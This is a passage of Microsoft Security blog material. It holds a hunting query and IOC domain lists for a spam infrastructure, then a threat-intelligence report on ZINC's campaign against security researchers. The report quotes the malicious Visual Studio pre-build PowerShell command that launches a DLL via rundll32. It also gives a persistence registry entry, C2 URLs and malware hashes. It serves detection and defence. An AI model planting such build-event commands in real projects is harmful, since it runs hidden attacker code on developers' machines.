Microsoft 365 customers can also use the advanced hunting capabilities in Microsoft 365 Defender, which integrates signals from Microsoft Defender for Office 365 and other solutions, to locate activities and artifacts related to the infrastructure and campaigns discussed in this blog. These queries can be used with advanced hunting in Microsoft 365 security center, but the same regex pattern can be used on other security tools to identify or block emails.

This query searches for emails sent from StrangeUemail addresses. Run query

EmailEvents   
| where SenderMailFromDomain matches regex @"^(?:eraust|ereply|reply|ereceived|received|reaust|esend|inv|send|emailboost|eontaysstrange|eprop|frost|eont|servicply).*(strange|stange|emailboost).*\.us$"   
or SenderFromDomain matches regex @"^(?:eraust|ereply|reply|ereceived|received|reaust|esend|inv|send|emailboost|eontaysstrange|eprop|frost|eont|servicply).*(strange|stange|emailboost).*\.us$"

Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

 

 

Indicators of compromise

StrangeU domains

esendsstrangeasia[.]us sendsstrangesecuretoday[.]us emailboostgedigital[.]us
emailboostgelife[.]us emailboostgelifes[.]us emailboostgesecureasia[.]us
eontaysstrangeasia[.]us eontaysstrangenetwork[.]us eontaysstrangerocks[.]us
eontaysstrangesecureasia[.]us epropivedsstrangevip[.]us ereplyggstangeasia[.]us
ereplyggstangedigital[.]us ereplyggstangeereplys[.]us ereplyggstangelifes[.]us
ereplyggstangenetwork[.]us ereplyggstangesecureasia[.]us frostsstrangeworld[.]us
servicceivedsstrangevip[.]us servicplysstrangeasia[.]us servicplysstrangedigital[.]us
servicplysstrangelife[.]us servicplysstrangelifes[.]us servicplysstrangenetwork[.]us
ereceivedsstrangesecureworld[.]us ereceivedsstrangetoday[.]us ereceivedsstrangeus[.]us
esendsstrangesecurelife[.]us sendsstrangesecureesendss[.]us ereplysstrangesecureasia[.]us
ereplysstrangesecurenetwork[.]us receivedsstrangesecurelife[.]us ereplysstrangeworld[.]us
reauestysstrangesecurelive[.]us ereceivedsstrangeworld[.]us esendsstrangesecurerocks[.]us
reauestysstrangesecuredigital[.]us reauestysstrangesecurenetwork[.]us reauestysstrangesecurevip[.]us
replysstrangesecurelife[.]us ereauestysstrangesecurerocks[.]us ereceivedsstrangeasia[.]us
ereceivedsstrangedigital[.]us ereceivedsstrangeereceiveds[.]us ereceivedsstrangelife[.]us
ereceivedsstrangelifes[.]us ereceivedsstrangenetwork[.]us ereceivedsstrangerocks[.]us
ereceivedsstrangesecureasia[.]us receivedsstrangeworld[.]us replysstrangedigital[.]us
invdeliverynows[.]us esendsstrangesecuredigital[.]us esendsstrangesecureworld[.]us
sendsstrangesecurenetwork[.]us ereceivedsstrangevip[.]us replysstrangerocs[.]us
replysstrangesecurelive[.]us invpaymentnoweros[.]us invpaymentnowes[.]us
replysstrangeracs[.]us reauestysstrangesecurebest[.]us receivedsstrangesecurebest[.]us
reauestysstrangesecurelife[.]us ereplysstrangevip[.]us reauestysstrangesecuretoday[.]us
ereplysstrangesecureus[.]us ereplysstrangetoday[.]us ereceivedsstrangesecuredigital[.]us
ereceivedsstrangesecureereceiveds[.]us ereceivedsstrangesecurelife[.]us ereceivedsstrangesecurenetwork[.]us
ereceivedsstrangesecurerocks[.]us ereceivedsstrangesecureus[.]us ereceivedsstrangesecurevip[.]us
sendsstrangesecurebest[.]us sendsstrangesecuredigital[.]us sendsstrangesecurelive[.]us
sendsstrangesecureworld[.]us esendsstrangedigital[.]us esendsstrangeesends[.]us
esendsstrangelifes[.]us esendsstrangerocks[.]us esendsstrangesecureasia[.]us
esendsstrangesecureesends[.]us esendsstrangesecurenetwork[.]us esendsstrangesecureus[.]us
esendsstrangesecurevip[.]us esendsstrangevip[.]us ereauestysstrangesecureasia[.]us
ereplysstrangeasia[.]us ereplysstrangedigital[.]us ereplysstrangeereplys[.]us
ereplysstrangelife[.]us ereplysstrangelifes[.]us ereplysstrangenetwork[.]us
ereplysstrangerocks[.]us ereplysstrangesecuredigital[.]us ereplysstrangesecureereplys[.]us
ereplysstrangesecurelife[.]us ereplysstrangesecurerocks[.]us ereplysstrangesecurevip[.]us
ereplysstrangesecureworld[.]us ereplysstrangeus[.]us reauestysstrangesecureclub[.]us
reauestysstrangesecureereauestyss[.]us reauestysstrangesecureworld[.]us receivedsstrangesecureclub[.]us
receivedsstrangesecuredigital[.]us receivedsstrangesecureereceivedss[.]us receivedsstrangesecurelive[.]us
receivedsstrangesecurenetwork[.]us receivedsstrangesecuretoday[.]us receivedsstrangesecurevip[.]us
receivedsstrangesecureworld[.]us replysstrangesecurebest[.]us replysstrangesecureclub[.]us
replysstrangesecuredigital[.]us replysstrangesecureereplyss[.]us replysstrangesecurenetwork[.]us
replysstrangesecuretoday[.]us replysstrangesecurevip[.]us replysstrangesecureworld[.]us
sendsstrangesecurevip[.]us esendsstrangelife[.]us esendsstrangenetwork[.]us
esendsstrangetoday[.]us esendsstrangeus[.]us esendsstrangeworld[.]us
sendsstrangesecureclub[.]us sendsstrangesecurelife[.]us plysstrangelifes[.]us
intulifeinoi[.]us replysstrangerocks[.]us invpaymentnowe[.]us
replysstrangelifes[.]us replysstrangenetwork[.]us invdeliverynowr[.]us
ereceivedggstangevip[.]us ereplyggstangerocks[.]us servicceivedsstrangeworld[.]us
servicplysstrangesecureasia[.]us servicplysstrangeservicplys[.]us emailboostgeasia[.]us
emailboostgeereplys[.]us emailboostgenetwork[.]us emailboostgerocks[.]us
eontaysstrangedigital[.]us eontaysstrangeeontays[.]us eontaysstrangelife[.]us
eontaysstrangelifes[.]us epropivedsstrangeworld[.]us ereceivedggstangeworld[.]us
ereplyggstangelife[.]us frostsstrangevip[.]us servicplysstrangerocks[.]us
invdeliverynow[.]us invpaymentnowlife[.]us invdeliverynowes[.]us
invpaymentnowwork[.]us replysstrangedigitals[.]us replysstrangelife[.]us
replysstrangelifee[.]us replystrangeracs[.]us

RandomU domains

cnewyllansf[.]us kibintiwl[.]us planetezs[.]us sakgeldvi[.]us
rdoowvaki[.]us kabelrandjc[.]us wembaafag[.]us postigleip[.]us
jujubugh[.]us honidefic[.]us utietang[.]us scardullowv[.]us
vorlassebv[.]us jatexono[.]us vlevaiph[.]us bridgetissimema[.]us
schildernjc[.]us francadagf[.]us strgatibp[.]us jelenskomna[.]us
prependerac[.]us oktagonisa[.]us enjaularszr[.]us opteahzf[.]us
skaplyndiej[.]us dirnaichly[.]us kiesmanvs[.]us gooitounl[.]us
izvoznojai[.]us kuphindanv[.]us pluienscz[.]us huyumajr[.]us
arrutisdo[.]us loftinumkx[.]us ffermwyrzf[.]us hectorfranez[.]us
munzoneia[.]us savichicknc[.]us nadurogak[.]us raceaddicteg[.]us
mpixiris[.]us lestenas[.]us collahahhaged[.]us enayilebl[.]us
hotteswc[.]us kupakiliayw[.]us deroutarek[.]us pomagatia[.]us
mizbebzpe[.]us firebrandig[.]us univerzamjw[.]us amigosenrutavt[.]us
kafrdaaia[.]us cimadalfj[.]us ubrzanihaa[.]us yamashumiks[.]us
jakartayd[.]us cobiauql[.]us idiofontg[.]us hoargettattzt[.]us
encilips[.]us dafanapydutsb[.]us intereqr[.]us chestecotry[.]us
diegdoceqy[.]us ffwdenaiszh[.]us sterinaba[.]us wamwitaoko[.]us
peishenthe[.]us hegenheimlr[.]us educarepn[.]us ayajuaqo[.]us
imkingdanuj[.]us dypeplayentqt[.]us traktorkaqk[.]us prilipexr[.]us
collazzird[.]us sentaosez[.]us vangnetxh[.]us valdreska[.]us
mxcujatr[.]us angelqtbw[.]us bescromeobsemyb[.]us hoogametas[.]us
mlitavitiwj[.]us pasgemaakhc[.]us facelijaxg[.]us harukihotarugf[.]us
pasosaga[.]us mashimariokt[.]us vodoclundqs[.]us trofealnytw[.]us
cowboyie[.]us dragovanmm[.]us jonuzpura[.]us cahurisms[.]us
leetzetli[.]us jonrucunopz[.]us flaaksik[.]us wizjadne[.]us
zatsopanogn[.]us roblanzq[.]us barbwirelx[.]us givolettoan[.]us
gyfarosmt[.]us zastirkjx[.]us sappianoyv[.]us noneedfordayvnb[.]us
andreguidiao[.]us concubinsel[.]us meljitebj[.]us alcalizezsc[.]us
springenmw[.]us kongovkamev[.]us starlitent[.]us cassineraqy[.]us
ariankacf[.]us plachezxr[.]us abulpasastq[.]us scraithehk[.]us
wintertimero[.]us abbylukis[.]us lumcrizal[.]us trokrilenyr[.]us
skybdragonqx[.]us pojahuez[.]us rambalegiec[.]us relucrarebk[.]us
vupardoumeip[.]us punicdxak[.]us vaninabaranaogw[.]us yesitsmeagainle[.]us
upcominge[.]us arwresaub[.]us zensimup[.]us joelstonem[.]us
ciflaratzz[.]us adespartc[.]us maaltijdr[.]us acmindiaj[.]us
mempetebyj[.]us itorandat[.]us galenicire[.]us cheldisalk[.]us
zooramawpreahkt[.]us sijamskojoc[.]us fliefedomrr[.]us ascenitianyrg[.]us
tebejavaaq[.]us finnerssshu[.]us slimshortyub[.]us angstigft[.]us
avedaviya[.]us aasthakathykh[.]us nesklonixt[.]us drywelyza[.]us
paginomxd[.]us gathesitehalazw[.]us antinodele[.]us ferestat[.]us
tianaoeuat[.]us pogilasyg[.]us mjawxxik[.]us bertolinnj[.]us
auswalzenna[.]us mmmikeyvb[.]us megafonasgc[.]us litnanjv[.]us
boockmasi[.]us andreillazf[.]us vampirupn[.]us lionarivv[.]us
ihmbklkdk[.]us okergeeliw[.]us forthabezb[.]us trocetasss[.]us
kavamennci[.]us mipancepezc[.]us infuuslx[.]us dvodomnogeg[.]us
zensingergy[.]us eixirienhj[.]us trapunted[.]us greatfutbolot[.]us
porajskigx[.]us mumbleiwa[.]us cilindrarqe[.]us uylateidr[.]us
sdsandrahuin[.]us trapeesr[.]us trauttbobw[.]us bostiwro[.]us
niqiniswen[.]us ditionith[.]us folseine[.]us zamoreki[.]us
sonornogae[.]us xlsadlxg[.]us varerizu[.]us seekabelv[.]us
nisabooz[.]us pohvalamt[.]us inassyndr[.]us ivenyand[.]us
karbonsavz[.]us svunturc[.]us babyrosep[.]us aardigerf[.]us
fedrelandx[.]us degaeriah[.]us detidiel[.]us acuendoj[.]us
peludine[.]us impermatav[.]us datsailis[.]us melenceid[.]us
beshinon[.]us dinangnc[.]us fowiniler[.]us laibstadtws[.]us
bischerohc[.]us muctimpubwz[.]us jusidalikan[.]us peerbalkw[.]us
robesikaton[.]us thabywnderlc[.]us osoremep[.]us krlperuoe[.]us
ntarodide[.]us bideoskin[.]us senagena[.]us kelyldori[.]us
kawtriatthu[.]us rbreriaf[.]us enaqwilo[.]us monesine[.]us
onwinaka[.]us yonhydro[.]us siostailpg[.]us bannasba[.]us
milosnicacz[.]us tunenida[.]us sargasseu[.]us malayabc[.]us
prokszacd[.]us premarketcl[.]us zedyahai[.]us xinarmol[.]us
minttaid[.]us pufuletzpb[.]us nekbrekerdv[.]us ppugsasiw[.]us
katarkamgm[.]us kyraidaci[.]us falhiblaqv[.]us lisusant[.]us
mameriar[.]us quslinie[.]us nirdorver[.]us trocairasec[.]us
pochwikbz[.]us ingykhat[.]us okrzynjf[.]us razsutegayl[.]us
dimbachzx[.]us buchingmc[.]us iessemda[.]us fatarelliqi[.]us
efetivumd[.]us vdevicioik[.]us klumppwha[.]us stefiensi[.]us
donetzbx[.]us wetafteto[.]us denementnd[.]us cyllvysr[.]us
viweewmokmt[.]us destescutyi[.]us craulisrt[.]us maggiebagglesxt[.]us
yawapasaqi[.]us spimilatads[.]us paseadoryy[.]us apageyantak[.]us
magicofaloeaj[.]us prefatoryhe[.]us statvaiq[.]us piketuojaqk[.]us
mushipotatobt[.]us suergonugoy[.]us gummiskoxt[.]us torunikc[.]us
adoleishswn[.]us rovljanie[.]us ivicukfa[.]us vajarelliwe[.]us
burksuit[.]us adoraableio[.]us bassettsz[.]us chevyguyxq[.]us
lunamaosa[.]us telemovelmi[.]us pimptazticui[.]us posteryeiq[.]us
miriamloiso[.]us salahlekajl[.]us inveshilifj[.]us alquicelbi[.]us
hitagjafirt[.]us ohatranqm[.]us scosebexgofxu[.]us vivalasuzyygb[.]us
lugleeghp[.]us alicuppippn[.]us wedutuanceseefv[.]us abnodobemmn[.]us
zajdilxtes[.]us inhaltsqxw[.]us rejtacdat[.]us contunaag[.]us
pitajucmas[.]us delopezmc[.]us donjimafx[.]us iheartcoxlc[.]us
rommelcrxgi[.]us jorguetky[.]us jadesellvb[.]us fintercentrosfs[.]us
ralbarix[.]us kynnirinnty[.]us bibulbio[.]us aspazjagh[.]us
gleboqrat[.]us tensinory[.]us usitniterx[.]us zaretkyui[.]us
hentugustqy[.]us surigatoszuk[.]us nitoeranybr[.]us spitzkopuo[.]us
podkarpatruszz[.]us milfincasqo[.]us datatsbjew[.]us changotme[.]us
losbindebt[.]us ninjachuckvb[.]us desfadavacp[.]us potkazatiun[.]us
sernakct[.]us razmersat[.]us purtinaah[.]us ampiovfa[.]us
durstinyskv[.]us kreukenct[.]us shinanyavc[.]us kolaryta[.]us
yangtsekk[.]us voyagedeviema[.]us elblogdelld[.]us utiligijc[.]us
peaplesokqo[.]us jenggoteq[.]us dogliairler[.]us kandizifb[.]us
flunkmasteraz[.]us clewpossejj[.]us hymgaledaja[.]us gmckayar[.]us
fagordul[.]us pnendickhs[.]us arrogede[.]us stilenii[.]us
cafelireao[.]us poishiuuz[.]us nonfunccoupyo[.]us madrigalbta[.]us
tarad[.]us sarahcp[.]us wickyjr[.]us ghadrn[.]us
sirvond[.]us qumarta[.]us verow[.]us mondeki[.]us
lirana[.]us niarvi[.]us belena[.]us qucono[.]us
ulianag[.]us lenut[.]us shivave[.]us jendone[.]us
seddauf[.]us jarare[.]us uchar[.]us ealesa[.]us
wyoso[.]us marnde[.]us thiath[.]us aulax[.]us
bobelil[.]us jestem[.]us detala[.]us phieyen[.]us
annazo[.]us dilen[.]us jelan[.]us ipedana[.]us
keulsph[.]us ztereqm[.]us rinitan[.]us natab[.]us
haritol[.]us ricould[.]us lldra[.]us miniacs[.]us
zahrajr[.]us cayav[.]us pheduk[.]us qugagad[.]us
dehist[.]us letama[.]us mencyat[.]us vindae[.]us
uranc[.]us handil[.]us galezay[.]us bamerna[.]us
yllyn[.]us ckavl[.]us ilalie[.]us daellee[.]us
cuparoc[.]us zelone[.]us burnile[.]us uloryrt[.]us
shexo[.]us phalbe[.]us hanolen[.]us lorria[.]us
beten[.]us xuserye[.]us iclelan[.]us cwokas[.]us
vesic[.]us ontolan[.]us wajdana[.]us telama[.]us
missani[.]us usinaye[.]us ertanom[.]us kericex[.]us
denaga[.]us tyderq[.]us seliza[.]us kinnco[.]us
qurtey[.]us arzenitlu[.]us vellpoildzu[.]us keityod[.]us
ltangerineldf[.]us lizergidft[.]us serrucheah[.]us lolricelolad[.]us
expiantaszg[.]us hljqfyky[.]us abarrosch[.]us lepestrinynr[.]us
elektroduendevq[.]us waggonbauwh[.]us chaquetzgg[.]us revizijiqa[.]us
ziggyiqta[.]us rokenounkaf[.]us lottemanvl[.]us corsetatsvp[.]us
extasiatny[.]us darkinjtat[.]us pastorsta[.]us sategnaxf[.]us
mordiquedp[.]us mogulanbub[.]us aleesexx[.]us strekktumgz[.]us
kresanike[.]us oberhirtesn[.]us wyddiongw[.]us etherviltjd[.]us
gdinauq[.]us tumisolcv[.]us oardbzta[.]us zamislimrx[.]us
tidifkil[.]us anwirbtda[.]us breliaattainoqt[.]us steinzeitps[.]us
grafoay[.]us shuramiok[.]us sanarteau[.]us jerininomgv[.]us
kusturirp[.]us tenisaragonpu[.]us terquezajf[.]us remularegf[.]us
nobanior[.]us julijmc[.]us dekrapp[.]us odaljenakd[.]us

 

The post What tracking an attacker email infrastructure tells us about persistent cybercriminal operations appeared first on Microsoft Security.

ZINC attacks against security researchers

January 28th, 2021 No comments

In recent months, Microsoft has detected cyberattacks targeting security researchers by an actor we track as ZINC. The campaign originally came to our attention after Microsoft Defender for Endpoint detected an attack in progress. Observed targeting includes pen testers, private offensive security researchers, and employees at security and tech companies. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to ZINC, a DPRK-affiliated and state-sponsored group, based on observed tradecraft, infrastructure, malware patterns, and account affiliations.

This ongoing campaign was reported by Google’s Threat Analysis Group (TAG) earlier this week, capturing the browser-facing impact of this attack. By sharing additional details of the attack, we hope to raise awareness in the cybersecurity community about additional techniques used in this campaign and serve as a reminder to security professionals that they are high-value targets for attackers.

We also want to thank our industry colleagues at Twitter and GitHub for their collaboration in this investigation and rapid actions to suspend the malicious accounts targeting the security community and our mutual customers.

We are sharing this information with the community as part of our mission to shine a light on bad actors and elevate awareness of low-profile tactics and techniques that easily fly under the radar of security operations centers (SOCs) or security professionals and are easily overlooked as low-level alerts or benign chatter. The related IoCs and Microsoft Defender for Endpoint product detections we share in this blog will help SOCs proactively hunt for related activity in their environments and elevate any low-level alerts for remediation. ZINC used a variety of new techniques to target the victims, including gaining credibility on social media with genuine content, sending malicious Visual Studio projects, and using a watering hole website weaponized with browser exploits.

Technical details

In mid-2020, ZINC started building a reputation in the security research community on Twitter by retweeting high quality security content and posting about exploit research from an actor-controlled blog. Throughout the lifetime of the campaign, the actor operated several accounts that accounted for roughly 2,000 followers, including many prominent security researchers.

In the image below, one of the actor-controlled Twitter account retweets another of their accounts to amplify their own posts. The posts from the actors received a reasonable amount of attention, usually accumulating several hundred likes or retweets.

Figure 1. Actor-controlled Twitter handles

After building their reputation across their established social media accounts, the actors started approaching potential targets on social media platforms such as Twitter and LinkedIn. The conversations were often seemingly innocuous, asking security questions or talking about exploit techniques. If the researcher was responsive, the actor would offer to move communication to another platform (e.g., email, Discord) in some cases to then send files using encrypted or PGP protected ZIPs.

ZINC also used their Twitter accounts to post links to a security blog they owned (br0vvnn[.]io). These links were also shared by many others in the security community on Twitter and other social media platforms, further deepening trust for the owner and content.

A blog post titled DOS2RCE: A New Technique To Exploit V8 NULL Pointer Dereference Bug, was shared by the actor on October 14, 2020 from Twitter. From October 19-21, 2020, some researchers, who hadn’t been contacted or sent any files by ZINC profiles, clicked the links while using the Chrome browser, resulting in known ZINC malware on their machines soon after. This suggests that a Chrome browser exploit chain was likely hosted on the blog, although we haven’t been able to prove this. Since some of the victim’s browsers were fully patched, it’s also suspected, but unproven, that the exploit chain used 0-day or patch gap exploits. We believe that not all visitors to the site were compromised, even during the dates listed above.

Malicious Visual Studio project

Some of the files sent by ZINC to researchers were malicious Visual Studio projects that included prebuilt binaries. One of the binaries used the well-known name Browse.vc.db but was a malicious DLL rather than a database file. Microsoft Defender for Endpoint detects these DLLs as Comebacker malware. A pre-build event with a PowerShell command was used to launch Comebacker via rundll32. This use of a malicious pre-build event is an innovative technique to gain execution.

An example of the PowerShell in the pre-build event can be seen here:

<PreBuildEvent>

<Command>
powershell -executionpolicy bypass -windowstyle hidden if(([system.environment]::osversion.version.major -eq 10) -and [system.environment]::is64bitoperatingsystem -and (Test-Path x64\Debug\Browse.VC.db)){rundll32 x64\Debug\Browse.VC.db,ENGINE_get_RAND 7am1cKZAEb9Nl1pL 4201 }
</Command>

</PreBuildEvent>

Pre-build events are stored in the .vcxproj file in Visual Studio solutions. The page How to: Use Build Events in MSBuild Projects has a list of other build events and example XML for the events. It would also be possible to abuse a custom build step in the same way.

Analyzing Comebacker DLLs

Once the malicious Visual Studio Project file was built, the process drops C:\ProgramData\VirtualBox\update.bin and adds the file to an autostart registry key. Update.bin (SHA-256: 25d8ae46…) is a different 64-bit DLL file embedded inside Browser.VC.db.

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
  • “C:\Windows\System32\rundll32.exe C:\ProgramData\VirtualBox\update.bin,ASN2_TYPE_new 5I9YjCZ0xlV45Ui8 2907”

The actors put some effort into modifying the Comebacker malware attributes between deployments; file names, file paths and exported functions were regularly changed so these static IOCs can’t be solely relied upon for dependable detection. We were first alerted to the attack when Microsoft Defender for Endpoint detected the Comebacker DLL attempting to perform process privilege escalation. See the Microsoft Defender for Endpoint detections section for a full process chain of the attack.

Klackring malware

Klackring is a DLL that registers a malicious service on the targeted machine. It was deployed to victims either by the Comebacker malware or an unknown dropper. The DLL was dropped to C:\Windows\system32 and saved with the .sys file extension.

MHTML file

In addition to the social engineering attacks via social media platforms, we observed that ZINC sent researchers a copy of a br0vvnn blog page saved as an MHTML file with instructions to open it with Internet Explorer. The MHTML file contained some obfuscated JavaScript that called out to a ZINC-controlled domain for further JavaScript to execute. The site was down at the time of investigation and we have not been able to retrieve the payload for further analysis.

Driver abuse

In one instance, we discovered the actor had downloaded an old version of the Viraglt64.sys driver from the Vir.IT eXplorer antivirus. The file was dropped to the victim system as C:\Windows\System32\drivers\circlassio.sys. The actor then attempted to exploit CVE-2017-16238, described by the finder here, where the driver doesn’t perform adequate checking on a buffer it receives, which can be abused to gain an arbitrary kernel write primitive. The actor’s code however appears to be buggy and when attempting to exploit the vulnerability the exploit tried to overwrite some of the driver’s own code which crashed the victim’s machine.

Other malware

Other tools used included an encrypted Chrome password-stealer hosted on ZINC domain https://codevexillium[.]org. The host DLL (SHA-256: ada7e80c…) was downloaded to the path C:\ProgramData\USOShared\USOShared.bin using PowerShell and then ran via rundll32.  This malware is a weaponized version of CryptLib, and it decrypted the Chrome password stealer (SHA-256: 9fd0506…), which it dropped to C:\ProgramData\USOShared\USOShared.dat.

C2 communication

After establishing a command-and-control (C2) channel on a targeted device, the backdoor is configured to check into the C2 servers every 60 seconds. Over this C2 channel, the threat actors can execute remote commands to enumerate files/directories and running processes, and to collect/upload information about the target device, including IP address, Computer Name, and NetBIOS.  Furthermore, we observed some hands-on-keyboard action to enumerate all files/directories on the target disk, create screenshots, and deploy additional modules.

Microsoft Defender for Endpoint detections

When malware is run from a malicious Visual Studio project, the following alerts and process tree are generated by Microsoft Defender for Endpoint. Multiple alerts, including “Use of living-off-land binary to run malware” and “Process Privilege escalation”, were triggered on the execution of Browser.VC.db and update.bin.

Microsoft Defender for Endpoint has comprehensive detection coverage for this campaign. These detections raise alerts that inform security operations teams about the presence of activities and artifact from the attacks. Security operations and incident response teams can use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.

Figure 2. Alert raised by Microsoft Defender for Endpoint on ComeBacker

Figure 3. Alert raised by Microsoft Defender for Endpoint on low-reputation arbitrary code executed by signed executable

Recommended actions and preventative measures

If you visited the referenced ZINC-owned blog (br0vvnn[.]io), you should immediately run a full antimalware scan and use the provided IOCs to check your systems for intrusion. If a scan or searching for the IOCs find any related malware on your systems, you should assume full compromise and rebuild. Microsoft assesses that security research was the likely objective of the attack, and any information on the affected machine may be compromised.

For proactive prevention of this type of attack, it is recommended that security professionals use an isolated environment (e.g., a virtual machine) for building untrusted projects in Visual Studio or opening any links or files sent by unknown parties.

Associated indicators of compromise (IOCs)

The below list provides IOCs observed during this activity. We encourage our customers to implement detections and protections to identify possible prior campaigns or prevent future campaigns against their systems.

Azure Sentinel customers can find a Sentinel query containing these indicators in this GitHub repo: https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/ZincJan272021IOCs.yaml

Microsoft 365 Defender customers can find related hunting queries below or at this GitHub repo: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/

Microsoft Defender for Endpoint detections for malware

Actor-controlled Twitter Handles

  • https://twitter.com/z055g
  • https://twitter.com/james0x40
  • https://twitter.com/mvp4p3r
  • https://twitter.com/dev0exp
  • https://twitter.com/BrownSec3Labs
  • https://twitter.com/br0vvnn
  • https://twitter.com/0xDaria

Actor-controlled LinkedIn profiles

  • https://www.linkedin.com/in/james-williamson-55a9b81a6/
  • https://www.linkedin.com/in/guo-zhang-b152721bb/
  • https://www.linkedin.com/in/linshuang-li-aa69391bb/

Actor-controlled GitHub Accounts

Further investigation revealed a number of GitHub accounts with names matching the Twitter handles published by Google:

  • https://github.com/br0vvnn
  • https://github.com/dev0exp
  • https://github.com/henya290
  • https://github.com/james0x40
  • https://github.com/tjrim91

Actor-controlled blog URLs

  • https://br0vvnn[.]io
  • https://blog.br0vvnn[.]io

Actor-controlled C2 domains

  • codevexillium[.]org
  • angeldonationblog[.]com
  • investbooking[.]de
  • krakenfolio[.]com

Likely legitimate but compromised websites used as C2

  • www.dronerc[.]it
  • www.edujikim[.]com
  • www.fabioluciani[.]com
  • trophylab[.]com
  • forums.joycity[.]com
  • Marcodetech[.]net
  • Linelcssplugin[.]org

C2 URLs

  • https://codevexillium[.]org/image/download/download.asp
  • https://angeldonationblog[.]com/image/upload/upload.php
  • https://www.dronerc[.]it/shop_testbr/Core/upload.php
  • https://www.dronerc[.]it/forum/uploads/index.php
  • https://www.dronerc[.]it/shop_testbr/upload/upload.php
  • https://www.edujikim[.]com/intro/blue/insert.asp
  • https://investbooking[.]de/upload/upload.asp

Malware hashes

Malicious Visual Studio .vcxproj files

  • 0ac5c8ad0c2ddef4d41724acac586ffabcc92ab9d4906a4fc4a1ff2ec2feec7c
  • 1cc60cb1e08779ff140dfbb4358a7c2587ba58ad2f1f23343b9efb51bb25aaed
  • 5024f199836692fe428aef3d41a561448632e9cbab954f842ef300573600423d
  • 98a6e0c8b8ec4dbbc3ef21308ec04912fa38e84828cedad99e081d588811ba5e
  • d02752aadc71fafa950a6a51b1298dc914e81d20f95a86b12ee07cd2d2a85711

Comebacker malware

  • 0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa
  • 133280e985448a3cfa8906830af137634c4657740a8c7209a368c5a0d0b3dabf
  • 25d8ae4678c37251e7ffbaeddc252ae2530ef23f66e4c856d98ef60f399fa3dc
  • 284df008aa2459fd1e69b1b1c54fb64c534fce86d2704c4d4cc95d72e8c11d6f
  • 34e13e2efb336fbe8202ca931a496aa451cf554450806b63d25a57a627e0fb65
  • 39ad9ae3780c2f6d41b1897e78f2b2b6d549365f5f024bc68d1fe794b940f9f1
  • 4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244
  • 68e6b9d71c727545095ea6376940027b61734af5c710b2985a628131e47c6af7
  • 80a19caf4cfc9717d449975f98a157d0a483bf48a05e3b6f7a9b204faa8c35d1
  • 88aeaff0d989db824d6e9429cd94bc22bbbfc39775c0929e703343798f69e9cc
  • 913871432989378a042f5023351c2fa2c2f43b497b75ef2a5fd16d65aa7d0f54
  • ca48fa63bd603c74ab02841fc6b6e90c29a9b740232628fadafa923d2833a314
  • d0678fe8c92912698c4b9d4d03d83131e16d8b219ccf373fa847da476788785b
  • 5815103140c68614fd7fc05bad540e654a37b81b7e451e213128f2eff081005a
  • e413e8094d76061f094f8b9339d00d80514065f7d37c184543c0f80c5d51bd80
  • c23f50c8014c190afa14b4c2c9b85512fb3a75405652c9b6be1401f678295f36
  • a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855

Klackring malware

  • 0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa
  • 16ad21aedf8f43fcedaa19dbd4f4fda0f3fec0517662b99a3054dac6542ab865
  • 1d9a58bc9b6b22fb3e3099996dbab13bfc5258b8307026f66fa69729d40f2b13
  • 4bfeb22ec438cf7ed8a7fefe6e7f321d842ad6ade0ca772732d1a757177e7ad7
  • 6b3a693d391426182fc2944d14b0816cdf1e5f87c13d6eb697756f9577b0bcee
  • 70e1f774c0c80e988641d709d3a6990193e039b1ce618ceaacc1d61a850e9b76
  • 77a9a0f67d09cafaf05ee090483a64622a7a04dfe226763f68651b071c1802f2
  • 8d85e31de2623538a42a211e3919d5602f99dc80f21e0c5f99d53838b2b07063
  • 90b4bd609b84c41beeed5b9310f2d84de83c74aaecfd1facc02e278be5059110
  • 9c90bbe4b61136d94170e90c299adab0d1ccbc3a8f71519799dd901d742f3561
  • 9f23069f74d0fb09823ad7f46f338d7920a731622404a7754df36ffbc40f8744
  • a1c4c617d99d10bbb2524b4d5bfdcf00f47d9cf39e8c7d3e6a9ce1219393da5a
  • a4fb20b15efd72f983f0fb3325c0352d8a266a69bb5f6ca2eba0556c3e00bd15
  • aa5264323755a7dfa7c39ada09224c8c1de03ec8aeb6f7b216a56e8475e5f547
  • aeb6fb0ba6d947b4ee67a5111fbdf798c4488377ae28bdf537c1f920a58785b7
  • b47969e73931546fdcfb1e69c43da911dc9f7bb8d0e211731a253b572ecdc4fe
  • bc19a9415428973d65358291d604d96a0915a01d4b06939269b9e210f23aad43
  • c5d13324100047d7def82eeafdb6fc98cc2ccfae56db66ada9f1c3c7429ef9cb
  • dcc986c48c9c99c012ae2b314ac3f2223e217aee2ccdfb733cbbdaea0b713589
  • e8cf9b04ba7054e1c34bda05106478f9071f8f6569b4822070834abbf8e07a95
  • b32319da446dcf83378ab714f5ad0229dff43c9c6b345b69f1a397c951c1122e
  • 11fef660dec27474c0c6c856a7b4619155821fdd1ce404848513a2700be806a5
  • 9e562cc5c3eb48a5f1a1ccd29bf4b2ff4ab946f45aa5d8ea170f69104b684023

viaglt64.sys – Vulnerable Vir.IT driver for CVE-2017-16238

  • 58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495

Other malware and tools

These are hashes of files we believe to be related to the attack but aren’t Comebacker or Klackring malware.

This list includes some hashes where we haven’t been able to retrieve a sample but based on the file usage or location looks likely to be related.

  • e0e59bfc22876c170af65dcbf19f744ae560cc43b720b23b9d248f4505c02f3e
  • 3d3195697521973efe0097a320cbce0f0f98d29d50e044f4505e1fbc043e8cf9
  • 0a2d81164d524be7022ba8fd4e1e8e01bfd65407148569d172e2171b5cd76cd4
  • 96d7a93f6691303d39a9cc270b8814151dfec5683e12094537fd580afdf2e5fe
  • dc4cf164635db06b2a0b62d313dbd186350bca6fc88438617411a68df13ec83c
  • 46efd5179e43c9cbf07dcec22ce0d5527e2402655aee3afc016e5c260650284a
  • 95e42a94d4df1e7e472998f43b9879eb34aaa93f3705d7d3ef9e3b97349d7008
